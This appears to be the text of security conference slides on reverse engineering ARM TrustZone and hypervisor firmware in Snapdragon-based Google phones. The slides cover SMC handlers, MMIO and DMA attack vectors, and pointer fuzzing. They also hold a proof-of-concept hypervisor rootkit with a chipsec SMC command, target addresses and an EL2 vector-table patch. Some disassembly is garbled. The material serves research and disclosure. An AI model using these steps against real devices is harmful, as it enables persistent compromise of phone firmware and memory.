Blue Pill for Your Phone

Oleksandr Bazhaniuk  @ABazhaniuk
Yuriy Bulygin  @c7zero
Agenda

• Introduction
• Reverse engineering of ARM TrustZone and hypervisor
• Attack vectors against ARM TrustZone and hypervisor
• Exploiting Hypervisor on ARM based SoC
• Mitigations and Conclusions
Introduction
Motivation

• Security research in ARM TrustZone exists but we’d like to advance research in security of virtualization on ARM
• Understand the threat model of ARM hypervisor and TrustZone
• We wanted to analyze similarities and differences in attack vectors on x86 and ARM based systems
• **Example**: unchecked pointer vulnerabilities were found in both ARM TrustZone and in x86 System Management Mode firmware: [Exploring Qualcomm's TrustZone implementation](https://example.com) and [New Class of Vulnerabilities in SMI Handlers](https://example.com)
Hypervisor Based Rootkit

VM exploits vulnerability in a hypervisor

Exploit modifies the hypervisor with a rootkit

Hypervisor rootkit can then spoof all VM requests
Concept and Timeline

2006: SubVirt: Implementing Malware with Virtual Machines by Samuel T. King et al (Microsoft Research)

2006: Hardware Virtualization Rootkits by Dino Dai Zovi and BluePill by Joanna Rutkowska (BHUSA 2006)

2008: Bluepilling the Xen Hypervisor by Invisible Things Labs (BHUSA 2008)

… (research in exploiting hypervisors)

2015: Attacking Hypervisors via Hardware and Firmware (BHUSA 2015)
ARM Security Architecture Overview

Normal World
- App
- Kernel + Drivers
- Hypervisor

Secure World
- Trustlet
- TZ Kernel
- TZ Monitor

Hardware
- USB
- Wi-Fi
- Crypto
- TRNG
- Qfuse
ARMv7 (32bit) Privilege Levels

Normal World

- PL0
  - App
  - SVC
- PL1
  - Kernel + Drivers
  - HVC
  - Hypervisor
- PL2
  - SMC
  - ERET
  - SMC

Secure World

- PL1
  - Trustlet
  - Secure Kernel
  - ERET
  - PL1 Secure Monitor mode

Privilege Levels:

- PL0
- PL1
- PL2
ARMv8 Privileges Levels

Normal World

- EL0
  - App
  - SVC

- EL1
  - Kernel + Drivers
  - HVC
  - aarch64 or aarch32

- EL2
  - Hypervisor
  - SMC
  - ERET
  - aarch64 or aarch32

Secure World

- EL3
  - Secure Monitor
  - SMC
  - ERET
  - aarch64

- Secure Kernel
  - Trustlet
  - Secure Kernel
  - aarch64 or aarch32

- Hypervisor
  - ERET
  - SMC

- Normal World
  - App
  - SVC
# ARMv8 TrustZone and Hypervisor Interfaces

<table>
<thead>
<tr>
<th>Register Name</th>
<th>SMC32</th>
<th>SMC64</th>
<th>Calling values</th>
<th>Modified</th>
<th>Return state</th>
</tr>
</thead>
<tbody>
<tr>
<td>SP_ELx</td>
<td></td>
<td>ELx Stack Pointer</td>
<td></td>
<td>No</td>
<td>Unchanged, Registers are saved/restored</td>
</tr>
<tr>
<td>SP_EL0</td>
<td></td>
<td>EL0 Stack Pointer</td>
<td></td>
<td>No</td>
<td></td>
</tr>
<tr>
<td>X30</td>
<td></td>
<td>The Link Register</td>
<td></td>
<td>No</td>
<td></td>
</tr>
<tr>
<td>X29</td>
<td></td>
<td>The Frame Pointer</td>
<td></td>
<td>No</td>
<td></td>
</tr>
<tr>
<td>X19...X28</td>
<td></td>
<td>Callee-saved registers</td>
<td></td>
<td>No</td>
<td></td>
</tr>
<tr>
<td>X18</td>
<td></td>
<td>The Platform Register</td>
<td></td>
<td>No</td>
<td></td>
</tr>
<tr>
<td>X17</td>
<td></td>
<td>The second intra-procedure-call scratch register.</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>X16</td>
<td></td>
<td>The first intra-procedure-call scratch register.</td>
<td>Yes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>X9...X15</td>
<td></td>
<td>Temporary registers</td>
<td></td>
<td>Yes</td>
<td>Unpredictable, Scratch registers</td>
</tr>
<tr>
<td>X8</td>
<td></td>
<td>Indirect result location register</td>
<td></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>W7</td>
<td>W7</td>
<td>Hypervisor Client ID register</td>
<td></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>W6</td>
<td>X6</td>
<td>Parameter register</td>
<td>Optional Session ID register</td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>W4...W5</td>
<td>X4...X5</td>
<td>Parameter registers</td>
<td></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>W1...W3</td>
<td>X1...X3</td>
<td>Parameter registers</td>
<td></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>W0</td>
<td>X0</td>
<td>SMC Function ID</td>
<td></td>
<td>Yes</td>
<td>SMC Result registers</td>
</tr>
</tbody>
</table>

**SMC Calling Convention**
ARMv8 Paging

Stage 1
- TTBR
  - Level 1
    - D_table
  - Level 2
    - D_table
  - Level 3
    - D_page

Stage 2
- VTTBR
  - Level 1
    - D_table
  - Level 2
    - D_table
  - Level 3
    - D_page
  - Level 4
    - D_page

VA → IPA → PA
TrustZone Arch Evolution

Google Nexus 5
- ARMv7, 32 bit
- Snapdragon 800 (8274)
- PL1 mode
- TZ Kernel aarch32

Google Nexus 5X/6P
- ARMv8, 64 bit
- Snapdragon 808/810 (MSM8992)
- EL1 mode
- TZ Kernel aarch32
- EL3 mode
- TZ Monitor aarch32

Google Pixel
- ARMv8, 64 bit
- Snapdragon 821 (MSM8996)
- EL1 mode
- TZ Kernel aarch64
- EL3 mode
- TZ Monitor aarch64

Google Nexus 5
- ARMv8, 64 bit
- Snapdragon 808/810 (MSM8992)
- EL1 mode
- TZ Kernel aarch32
- EL3 mode
- TZ Monitor aarch32

Google Nexus 5X/6P
- ARMv7, 32 bit
- Snapdragon 800 (8274)
- PL1 mode
- TZ Kernel aarch32

Google Pixel
- ARMv8, 64 bit
- Snapdragon 821 (MSM8996)
- EL1 mode
- TZ Kernel aarch64
- EL3 mode
- TZ Monitor aarch64
# x86 vs ARM Architecture

<table>
<thead>
<tr>
<th></th>
<th>x86</th>
<th>ARM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Root of Trust</td>
<td>Recently introduced Boot Guard (starting Haswell gen) to provide CPU based root of trust (<a href="https://www.intel.com/content/www/us/en/processors/security/secure-boot.html">Safeguarding rootkits: Intel BootGuard</a>)</td>
<td>ARM has ROM for root of trust that checks the boot sequence components. May have OEM unlock mode</td>
</tr>
<tr>
<td>TEE</td>
<td>Virtualization based trusted execution environments. SGX provides enclave execution to user-mode components. SMM is also used as TEE (can be virtualized with STM)</td>
<td>Flexible Secure World arch with capabilities to run trusted apps. Allows privilege level separation in the Secure World context (EL0,EL1,EL3)</td>
</tr>
<tr>
<td>Virtualization</td>
<td>VMX technology as context switching between VMX root and VMX guest modes. Supports privilege level separation in VMX root</td>
<td>ARM has hyp mode as an exception level</td>
</tr>
</tbody>
</table>
Qualcomm Snapdragon 810 boot flow stages

Power On

- RPM ROM
  - Power detection
  - Reset APP processor
  - Set RVBAR, RMR_EL3 to 64-bit mode
  - Load SBL to OCMEM

- APSS ROM
  - FC010000

- SBL
  - RVBAR_EL3

- EL3 TZ Secure Monitor

- EL2 TZ Kernel
  - EL1TZ Apps

- EL2 Hyp

First non-secure code. HYP loads SBL for OS.
ARM Based System Boot Flow

- Root of trust is in ROM at APSS/RPM
- Read-only ROM verifies RW firmware
- Uses OTP fuses to program OEM lock
  
  # adb reboot bootloader

  # sudo fastboot oem unlock

- TrustZone components (Secure World) initialize and set runtime protection before transferring execution flow to any hypervisor or OS bootloader component
TrustZone Binary

- (Google phones specific) Download factory image from Google repository
- Use `unpack_bootloader_image` by laginimaineb to unpack `bootloader-<DID>.img`
- Extracted files:
  
  `aboot cmnlib hyp imgdata keymaster pmic rpm sbl1 sdi sec tz`

- Disassemble `tz`
Test Environment

• Rooting unlocked Android Phones: 
  CyanogenMod  
  TWRP with SuperSU and custom kernel

• Useful resources: xda , Code Aurora

• Tools:
  The Rekall Forensic and Incident Response Framework
  Maplesyrup Register Display Tool
  ARMageddon: Cache Attacks on Mobile Devices
  Drammer - for testing Android phones for the Rowhammer bug
ARM TrustZone and Hypervisor Reverse Engineering
Open Source TrustZone Implementations

- **ARM reference implementation** - **ARM Trusted Firmware**
  - Boot Loader stage 1 (BL1) AP Trusted ROM
  - Boot Loader stage 2 (BL2) Trusted Boot Firmware
  - Boot Loader stage 3-1 (BL31) EL3 Runtime Software
  - Boot Loader stage 3-2 (BL32) Secure-EL1 Payload (optional)
  - Boot Loader stage 3-3 (BL33) Non-trusted Firmware

- **OP-TEE Trusted OS** - Linux TEE using ARM TrustZone technology. Meets GlobalPlatform System Architecture spec

- Google’s **Trusty** is a set of components supporting a TEE on mobile devices
## TrustZone Monitor Vector Table

### Table D1-7 Vector offsets from vector table base address

<table>
<thead>
<tr>
<th>Exception taken from</th>
<th>Offset for exception type</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Synchronous</td>
</tr>
<tr>
<td>Current Exception level with SP_EL0.</td>
<td>0x000</td>
</tr>
<tr>
<td>Current Exception level with SP_ELx, x&gt;0.</td>
<td>0x200</td>
</tr>
<tr>
<td>Lower Exception level, where the implemented level immediately lower than the target level is using AArch64.</td>
<td>0x400</td>
</tr>
<tr>
<td>Lower Exception level, where the implemented level immediately lower than the target level is using AArch32.</td>
<td>0x600</td>
</tr>
</tbody>
</table>

### Store 6D9B800 to VBAR_EL3

```
<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>06D96188</td>
<td>LDR</td>
<td>X0, +0x6D9B800</td>
</tr>
<tr>
<td>06D9618C</td>
<td>MSR</td>
<td>#0, c12, c0, X0, X0</td>
</tr>
<tr>
<td>06D96190</td>
<td>MOV</td>
<td>X0, #0x1C0</td>
</tr>
<tr>
<td>06D96194</td>
<td>MSR</td>
<td>#0, c14, c2, #1, X0</td>
</tr>
</tbody>
</table>
```

### ARMv8 Architecture Reference Manual

**VBAR_EL3, Vector Base Address Register (EL3)**

The VBAR_EL3 characteristics are:

- **Purpose**: Holds the vector base address for any exception that is taken to EL3.
- **Usage constraints**: This register is accessible as follows:
  - EL0: -
  - EL1 (NS): -
  - EL1 (S): -
  - EL2 (NS): -
  - EL3 (SCR.NS=1): RW
  - EL3 (SCR.NS=0): RW

**Traps and Enables**: There are no traps or enables affecting this register.

**Configurations**: RW fields in this register reset to IMPLEMENTATION DEFINED values that might be UNKNOWN.

**Attributes**: VBAR_EL3 is a 64-bit register.
TrustZone Monitor SMC Exception Handler

Offset 0x400 from EL3 Vector Table

EL3 SMC exception handler

EL3 Vector Table
### EL1 aarch64 TrustZone Kernel

#### VBAR_EL1
Address of EL1 Vector Table

```assembly
| 0B016000 | 03 52 38 D5 |
| 0B016008 | 63 7C 5A D3 |
| 0B016008 | 7F 54 00 F1 |
| 0B01600C | F0 00 00 58 |
| 0B016010 | 41 00 00 54 |
| 0B016014 | 00 02 1F 06 |

| 0B016018 |
| 0B016018 |
| 0B016018 |
| 0B016018 |
| 0B016018 |
| 0B016020 |
| 0B016020 |
| 0B016020 |
| 0B016020 |
| 0B016028 |
| 0B016030 |
| 0B016030 |
| 0B016038 |
| 0B016038 |
| 0B016038 |

| NRS | X3, #0, c5, c2, #0 |
| UBFM | X3, X3, #0x1A, #0x1F |
| CMP | X3, #0x15 |
| LDR | X16, =loc_B0160F00 |
| B, NE | loc_B0160F8 |
| BR | X16; loc_B0160F00 |

loc_B016018 ; CODE XREF: sub_B016000

| MSR | #3, c13, c0, #3, X0 |
| MOV | X0, #0x10 |
| B | loc_B0175AC |

; End of function sub_B016000

ALIGN 8

DEQ loc_B0160F00 ; DATA XREF: sub_B016000

ALIGN 8

| MSR | #3, c13, c0, #3, X0 |
| MOV | X0, #0x10 |
| B | loc_B0175AC |
```
### Table G1-3 The AArch32 vector tables

<table>
<thead>
<tr>
<th>Offset</th>
<th>Hyp</th>
<th>Monitor</th>
<th>Secure</th>
<th>Non-secure</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Not used</td>
<td>Not used</td>
<td>Not used(^d)</td>
<td>Not used</td>
</tr>
<tr>
<td>0x04</td>
<td>Undefined Instruction, from Hyp mode</td>
<td>Monitor Trap</td>
<td>Undefined Instruction</td>
<td>Undefined Instruction</td>
</tr>
<tr>
<td>0x08</td>
<td>Hypervisor Call, from Hyp mode</td>
<td>Secure Monitor Call</td>
<td>Supervisor Call</td>
<td>Supervisor Call</td>
</tr>
<tr>
<td>0x0C</td>
<td>Prefetch Abort, from Hyp mode</td>
<td>Prefetch Abort</td>
<td>Prefetch Abort</td>
<td>Prefetch Abort</td>
</tr>
<tr>
<td>0x10</td>
<td>Data Abort, from Hyp mode</td>
<td>Data Abort</td>
<td>Data Abort</td>
<td>Data Abort</td>
</tr>
<tr>
<td>0x14</td>
<td>Hyp Trap, or Hyp mode entry(^e)</td>
<td>Not used</td>
<td>Not used</td>
<td>Not used</td>
</tr>
<tr>
<td>0x18</td>
<td>IRQ interrupt</td>
<td>IRQ interrupt</td>
<td>IRQ interrupt</td>
<td>IRQ interrupt</td>
</tr>
<tr>
<td>0x1C</td>
<td>FIQ interrupt</td>
<td>FIQ interrupt</td>
<td>FIQ interrupt</td>
<td>FIQ interrupt</td>
</tr>
</tbody>
</table>

### VBAR, Vector Base Address Register

The VBAR characteristics are:

**Purpose**

When high exception vectors are not selected, holds the vector base address for exceptions that are not taken to Monitor mode or to Hyp mode.

### Accessing the VBAR:

To access the VBAR:

MRC p15,0,\(\text{Rt},c12,c0,0\); Read VBAR into \(\text{Rt}\)

MCR p15, 0, \(\text{R0},c12,c0,0\); Write \(\text{Rt}\) to VBAR

**ARMv8 Architecture Reference Manual**
SCM (Secure Communication Manager) Driver

Check what type of SMC system supports

Store extra arguments through memory

```c
static int allocate_extra_arg_buffer(struct scm_desc *desc, gfp_t flags) {
    int i, j;
    struct scm_extra_arg *argbuf;
    int arglen = desc->arginfo & 0xf;
    size_t argbuflen = PAGE_ALIGN(sizeof(struct scm_extra_arg));
    desc->x5 = desc->args[FIRST_EXT_ARG_IDX];
    if (likely(arglen <= N_REGISTER_ARGS)) {
        desc->extra_arg_buf = NULL;
        return 0;
    }
    argbuf = kzalloc(arglen * sizeof(*argbuf), GFP_KERNEL);
    if (!argbuf) {
        pr_err("Failed to allocate args buffer!
                return 1;
    }
    desc->extra_arg_buf = argbuf;
    j = FIRST_EXT_ARG_IDX;
    if (scm_version == SCM_ARMV8_64) {
        for (i = 0; i < N_EXT_SCM_ARGS; i++)
            argbuf->args[j++] = desc->args[i];
    } else {
        for (i = 0; i < N_EXT_SCM_ARGS; i++)
            argbuf->args[j++] = desc->args[i];
        desc->x5 = virt_to_phys(argbuf)
            - __cpu_init_dcache_area(argbuf, argbuflen);
        outer_flush_range(virt_to_phys(argbuf),
            virt_to_phys(argbuf) + argbuflen);
    }
    return 0;
}
```

`is_scm_armv8(void)`

```c
int ret;
u64 ret1, x0;
/* First try a SMC64 call */
scm_version = SCM_ARMV8_64;
ret1 = 0;
x0 = SCM_SIP_FNID(SCM_SVC_INFO, IS_CALL_AVAIL_CMD) | Elem_modes[MASK];
ret = __scm_call_armv8_64(x0 | SCM64_MASK, SCM_ARGS(1), x0, 0, 0, 0,
    &ret1, NULL, NULL);
if (ret || !ret1) {
    /* Try SMC32 call */
    ret1 = 0;
    ret = __scm_call_armv8_32(x0, SCM_ARGS(1), x0, 0, 0, 0,
        &ret1, NULL, NULL);
    if (ret || !ret1)
        scm_version = SCM_LEGACY;
    else
        scm_version = SCM_ARMV8_32;
} else
    scm_version_mask = SCM64_MASK;
pr_dbg("scm_call: scm version is %x, mask is %x
        scm_version, scm.c" [Modified] 1172 lines --45--
```
SMC Handler Arguments in ARMv8 Systems

SMC Handlers with < 5 args
- X0 (handler ID)
- X1 (num_args)
- X2 (arg0)
- X3 (arg1)
- X4 (arg2)
- X5 (arg3)

SMC Handlers with >= 5 args
- X0 (handler ID)
- X1 (num_args)
- X2 (arg0)
- X3 (arg1)
- X4 (arg2)
- X5 (args_buf)

Physical Address Space

Android Memory

Arguments buffer:
- Arg3
- Arg4
- Arg5
- ...

Reversing SMC Default Handler...

```
ret_val = is_SCH_SMC64(XO_suc_cmd_id_2);
if ( !ret_val )
{
    SMC_handler_entry = is_SCH_handler_exists(XO_suc_cmd_id);
    SMC_handler_entry.ID = SMC_handler_entry;
    if ( !SMC_handler_entry )
        return 0xFFFFFFFF;
    if ( *(DWORD *)(SMC_handler_entry + 16) )// check if address of the handler is not NULL
        return 0xFFFFFFFF;
    SMC_handler_entry_off8 = *(DWORD *)(SMC_handler_entry + 8);
    SMC_num_args = SMC_handler_entry_off8 & 0xF;
    if ( SMC_num_args != 0x8 )
        return 0xFFFFFFFF;
    if ( (X1_num_args & 0xF) != SMC_num_args )
        return 0xFFFFFFFF;
    if ( X1_num_args != SMC_handler_entry_off8 )
        return 0xFFFFFFFF;
    if ( SMC_num_args >= 5 )
        &check_buffer_args_with_T2_addr_overlap(int &X5_cxtxt_1, X5_cxtxt_1, 4 * SMC_num_args - 12 )
    {
        return 0xFFFFFFFF;
    }
    SMC_num_args = SMC_num_args;
    if ( *(*(BYTE *)(SMC_handler_entry + 12) & 8 || (ret_val = overlap_check_args_T2(X1_num_args, &args_buf)) == 0 ) )
    {
        du_suc_cmd_id = *(DWORD *)(SMC_handler_entry + 14);
        mask_bits = get_async_data_abort_IRQ_FIQ_mask_bits();
        if ( *(DWORD *)(SMC_handler_entry + 12) & 2 & XO_suc_cmd_id == 0 & t*(BYTE *)(Y_buf_1 + 4) & 0x80 )
```
Reversing SMC Default Handler...

if ( *(BYTE *)(SMC_handler_entry_1 + 12) & 8 || (ret_val - overlap_check_args_TZ(X1_nun_args, &args_buf)) == 0 )
{
    dw_svc_cmd_id = *(DWORD *)(SMC_handler_entry_1 + 4);
    mask_bits = get_async_data_abort_IRQ_FIQ_mask_bits();
    if ( *(DWORD *)(SMC_handler_entry_1 + 12) & 2 & X0_svc_cmd_id >= 0 ) & *(BYTE *)(y_buf_1 + 4) & 0x80 )
        CPSP_set_exception_non_masked(mask_bits | 0x80); // |0x80 - non masked IRQ exception
        dw_async_data_abort_IRQ_FIQ_mask_bits = get_async_data_abort_IRQ_FIQ_mask_bits();
        dispatch_ret_val = dispatch_SMC_Caller(); // ret positive - success
        (int)SMC_caller,
        (int)args_buf,
        *(DWORD *)(SMC_handler_entry_1 + 16), // address of SMC handler
        SMC_num_args,
        *(DWORD *)SMC_handler_entry_1,
        *(DWORD *)(SMC_handler_entry_1 + 4)); // svc_cmd_id
    CPSP_set_exception_masked(128);
    ret_val = 0;

Check arg0-arg4 arguments for overlapping with TZ
Call SMC dispatch function with SMC handler pointer and SMC caller function
Reversing Overlap Checks...

```c
unsigned int __fastcall check_buffer_args_with_TZ_addr_overlap(int p_buffer_, int buffer_, int buffer_size_)
{
    char *buffer; // r5@1
    char *pbuffer; // r6@1
    int buffer_size; // r4@1
    unsigned int result; // r8@1
    char v7; // zf@2
    bool v8; // r1@8

    buffer = (char *)buffer_;
    pbuffer = (char *)p_buffer_;
    buffer_size = buffer_size_;
    result = 0xFFFFFFFF;
    if ( buffer_ )
    {
        v7 = pbuffer == 0;
        if ( pbuffer )
            v7 = buffer_size == 0;
        if ( !v7 )
        {
            if ( check_TZ_addr_overlap(buffer_, buffer_size_) && !check_TZ_addr_overlap((int)pbuffer, buffer_size_) )
            {
                Clean_Data_Cache_Line((int)buffer, buffer_size);
                memcpy(pbuffer, buffer, buffer_size);
                v8 = check_TZ_addr_overlap((int)buffer, buffer_size);
                result = 0;
                if ( !v8 )
                    result = 0xFFFFFFFF;
            }
        }
    }
}
```

Check “buffer” pointer for overlapping with TZ

Copy “buffer” and check for overlapping with TZ every DWORD in the buffer (Race Condition protection)
How the check for overlap with TZ works

**check_args_TZ_addr_overlap() logic**

Check address in $X_i$ and size in $X_{i+1}$ for overlapping with TZ

Format:
- Index
- Enable Flag
- Address Begin
- Address End

```
0605B910 00 00 00 00
0605B914 02 00 00 00
0605B918 00 3C DB 06
0605B91C 00 40 DB 06
0605B920 01 00 00 00
0605B924 01 00 00 00
0605B928 00 00 00 00
0605B92C 00 00 00 00
0605B930 02 00 00 00
0605B934 01 00 00 00
0605B938 00 00 00 00
0605B93C 00 00 00 00
0605B940 03 00 00 00
0605B944 02 00 00 00
0605B948 00 CB EF 04
0605B94C 00 DB EF 04
0605B950 04 00 00 00
0605B954 02 00 00 00
0605B958 00 D4 EF 04
0605B95C 00 EF EF 04
```

```
Reversing SMC Handlers Table…

<table>
<thead>
<tr>
<th>Offset</th>
<th>Magic number</th>
<th>SMC ID</th>
<th>Arg2 (num_args)</th>
<th>Arg3</th>
<th>SMC function pointer</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000</td>
<td>0x40000000</td>
<td>0x32000101</td>
<td>0x13</td>
<td>0x13</td>
<td>sub_6012108 +1</td>
</tr>
<tr>
<td>000004</td>
<td>0x40000000</td>
<td>0x32000103</td>
<td>0x22</td>
<td>0x13</td>
<td></td>
</tr>
<tr>
<td>000008</td>
<td>0x40000000</td>
<td>0x32000108</td>
<td>0x22</td>
<td>0x13</td>
<td></td>
</tr>
</tbody>
</table>

Format:
- Magic number
- SMC ID
- Arg2 (num_args)
- Arg3
- SMC function pointer
Example of SMC Handler

```c
unsigned int __fastcall sub_6D1DC04(int a1, int a2, unsigned int a3, signed int *ret_buf)
{
    signed int *v4; // r5@1
    unsigned int v5; // r4@1

    v4 = ret_buf;
    v5 = 0xffffffff;
    if ( a1 )
    {
        if ( a2 == 0x20 )
        {
            v5 = 0;
            if ( ret_buf )
            {
                *ret_buf = sub_6D32D30(a1, a3);
                v4[1] = 0;
                v4[2] = 0;
            }
        }
    }
    return v5;
}
```

```c
signed int __fastcall sub_6D32D30(int a1, unsigned int a2)
{
    unsigned int v2; // r4@2
    unsigned int v3; // r2@2
    int v4; // r3@4

    if ( a2 < 3 )
    {
        v2 = 3 * a2;
        v3 = 0;
        do
        {
            if ( v3 > 9 )
                break;
            v4 = dword_6D5E240[v2];
            v2 += 3;
            *(_DWORD *)(a1 + 4 * v3++) = v4;
        } while ( a2 + v3 < 3 );
    }
    return 3;
}
```

ID: 2001302
num_args: 3
SVC_ID: 13
CMD_ID: 2
arg2: 0x23
type: SCM_SIP_FNID

Write to Arg0 (X3)
SMC Handler Communicates with Secure Device

Read MMIO register to get random data from RNG
Reversing Error Codes...

Different error codes indicate different execution flows

```
size = a2;
addr = a1;
result = 0xFFFFFFFF0;
v5 = a2 == 0;
if ( a2 )
  v5 = addr == 0;
if ( !v5 && a2 <= 0x200 )
{
  if ( check2(addr, a2) || !check_TZ_addr_overlap(p_ranges_table, addr, size + addr - 1) )
  {
    result = 0xFFFFFFFFEE;
  }
}
else
{
  v6 = fill_buf_PRNG_DATA(addr, size);
  Write_Clean_and_Invalidate_Data_Cache_Line(addr, size);
  result = 0xFFFFFFFF9;
  if ( v6 == size )
    result = 0;
}
return result;
```
### Hypervisor on Snapdragon 808/810

<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0006C08800</td>
<td>E8 F9 FF 17</td>
<td>B loc_6C08F40</td>
</tr>
<tr>
<td>0006C08800</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
<td>ALIGN 0x80</td>
</tr>
<tr>
<td>0006C08888</td>
<td>FE 03 BF A9</td>
<td>STP X30, X0, [SP,4-0x10]</td>
</tr>
<tr>
<td>0006C08888</td>
<td>20 01 80 D2</td>
<td>MDV X0, 80</td>
</tr>
<tr>
<td>0006C08888</td>
<td>D5 E1 FF 97</td>
<td>BL sub_6C00FDC</td>
</tr>
<tr>
<td>0006C0888C</td>
<td>FE 03 C1 A8</td>
<td>LDP X30, X0, [SP,8x0]</td>
</tr>
<tr>
<td>0006C08900</td>
<td>00 00 00 00</td>
<td>CODE XREF: LOAD:</td>
</tr>
<tr>
<td>0006C08900</td>
<td>00 00 00 00</td>
<td>ALIGN 0x80</td>
</tr>
<tr>
<td>0006C08900</td>
<td>FE 03 BF A9</td>
<td>STP X30, X0, [SP,4-0x10]</td>
</tr>
<tr>
<td>0006C08900</td>
<td>40 01 80 D2</td>
<td>MDV X0, #80</td>
</tr>
<tr>
<td>0006C08900</td>
<td>D5 E1 FF 97</td>
<td>BL sub_6C00FDC</td>
</tr>
<tr>
<td>0006C0890C</td>
<td>FE 03 C1 A8</td>
<td>LDP X30, X0, [SP,8x0]</td>
</tr>
</tbody>
</table>

**Stage 1 Translation table**

- **VBAR_EL2**
- **TTBR0_EL2**
ARM TrustZone and Hypervisor Attack Vectors
Additional reading: awesome work on exploiting TrustZone by Gal Beniamini of P0 [1], [2], [3], [4]
Exploring Device MMIO Ranges…

Things we look for in MMIO:

• Registers accessible from different privilege levels
• Registers accessible at Boot vs Run time
• Addresses/pointers in registers

Methods to test MMIO registers:

• Every register in a specific device
• Every page in entire MMIO range
• Non-zero registers

MMIO:

Nexus 5x/6p: 0xf9000000 - 0xffffffff
Google Pixel: 0x00000000 - 0x7fffffff
Overlapping SoC Ranges with TrustZone Memory

- MMIO and core registers may contain addresses to SoC or core ranges/structures
- Example: Debug Buffer, TTBR…
- Overlap range/structure with TrustZone memory and look for unexpected behavior
- Hardware should properly handle overlap condition
DMA Attacks

Normal World

EL0  App
EL1  Kernel + Drivers
EL2  Hypervisor

Protected by IOMMU

Secure World

EL1  Secure Kernel
EL3  Secure Monitor

Trustlet

Broadpwn2
Over The Air: Exploiting Broadcom’s Wi-Fi Stack (Part 2)
Some SMC Handlers write result to a buffer at address passed in X2,…
Unchecked Pointer Vulnerabilities

If SMC handler doesn’t validate pointer, it can overwrite TrustZone memory.

Examples: [Full TrustZone exploit for MSM8974](#), SMC vulns by Dan Rosenberg
SMC Pointer Vulnerabilities Fuzzer

Supply an address to TrustZone in SMC argument

The same error code indicating overlap detected
SMC handlers may have TOCTOU issues when reading structures from X2.
Unchecked Addresses to MMIO Ranges

An address to MMIO of a secure device can be passed to SMC handler. If the handler doesn’t validate the address it can be tricked to write to the secure device.
Unchecked MMIO Pointer Fuzzer for TZ

Iterate over MMIO ranges

SMC argument points to MMIO range

The same error code indicating overlap detected
Now let’s find the hypervisor...

```
root@angler:/sdcard/chipsec/t3 # python chipsec_util.py mem read 0x6C03E00

#CHIPSEC: Platform Hardware Security Assessment Framework

[CHIPSEC] Version 1.2.2

***** Chipsec Linux Kernel module is licensed under GPL 2.0

[CHIPSEC] Executing command 'mem' with args ['read', '0x6C03E00']

[CHIPSEC] reading buffer from memory: PA = 0x000000006C03E00, len = 0x100.

FF FF FF FF 00 00 00 00 18 08 C0 06 00 00 00 00 | l
18 08 C0 06 00 00 00 00 6C 08 C0 06 00 00 00 00 | I
7C 08 C0 06 00 00 00 00 18 08 C0 06 00 00 00 00 | |
```

Read hypervisor memory
What if we point SMC to the hypervisor memory?

```python
python chipsec_util.py smc 0x0 0x200030D 0x22 2 0x6C03E00 0x4
```

Check if hypervisor memory has changed

Trigger SMC 0x200030D with hyp address 0x6C03E00
ATTACKING HYPERVERISOR ON ARM
Modifying Hypervisor on Snapdragon 808...

- We find hypervisor binary in memory. Must be a copy?
- Let’s try to modify it. The phone reboots! WTF?
- Assumption: stage 2 translation is disabled?
Now we can patch the hypervisor…

Kernel (EL1) exploits hypervisor LPE to get EL2 privileges

The rootkit can protect hypervisor from kernel access

Patched hypervisor traps access from kernel (EL1) & app (EL0) including SMC interface

Patch hypervisor allows malicious app (EL0) access entire memory
Patching EL2 Vector Table

One of the EL2 Vector Table entries

We inject a payload in the function invoked by the vector table entry (0x6C019F8)

<table>
<thead>
<tr>
<th>LOAD:</th>
<th>00 00 00 00+</th>
</tr>
</thead>
<tbody>
<tr>
<td>stp</td>
<td>X30, X0, [sp, #0x10]!</td>
</tr>
<tr>
<td>mrs</td>
<td>X0, X4, X5, X2, X0</td>
</tr>
<tr>
<td>ubfm</td>
<td>X0, X0, X0, X0, X0</td>
</tr>
<tr>
<td>cmp</td>
<td>X0, 0x0F22</td>
</tr>
<tr>
<td>ldc</td>
<td>X30, X8, [sp, #0x10]</td>
</tr>
<tr>
<td>beq</td>
<td>sub 6C010F8</td>
</tr>
<tr>
<td>stp</td>
<td>X16, X15, [sp, #0x10]!</td>
</tr>
<tr>
<td>mrs</td>
<td>X15, X4, X5, X2, X0</td>
</tr>
<tr>
<td>ubfm</td>
<td>X15, X15, X0, X0, X0</td>
</tr>
<tr>
<td>cmp</td>
<td>X15, 0x12</td>
</tr>
<tr>
<td>beq</td>
<td>sub 6C06E68</td>
</tr>
<tr>
<td>cmp</td>
<td>X15, 0x16</td>
</tr>
<tr>
<td>beq</td>
<td>sub 6C06E68</td>
</tr>
<tr>
<td>b</td>
<td>loc_6C07008</td>
</tr>
</tbody>
</table>

sub_6C06E68  →  sub_6C017FC

LOAD: 00000000006C019E8 08 27 40 09  
LDR  X19, [sp, #0x70+var_28]  
LOAD: 00000000006C019EC 03 57 45 09  
LDP  X20, X21, [sp, #0x70+var_20]  
LOAD: 00000000006C019F0 0D 7B 46 09  
LDP  X29, X30, [sp, #0x70+var_10]  
LOAD: 00000000006C019F4 3C 31 91  
ADD  sp, sp, #0x70  
LOAD: 00000000006C019FA 08 03 5F 06  
; injected address  
LOAD: 00000000006C019F8 08 03 5F 06  
; End of function sub_6C017FC  
LOAD: 00000000006C019FC 08 03 5F 06  
;                                      
LOAD: 00000000006C01A08  ; CODE XREF: sub_6C017FC+30Tj
PoC Exploit App and Hypervisor Patch

- Exploit app stores some magic number and command in a memory
- Hypervisor rootkit read magic number and executes command
- For example, command “Expose EL1 kernel memory at address X”
Exploit Details

```shell
bullhead:/ # /su/expl.sh
chipsec 6843 0
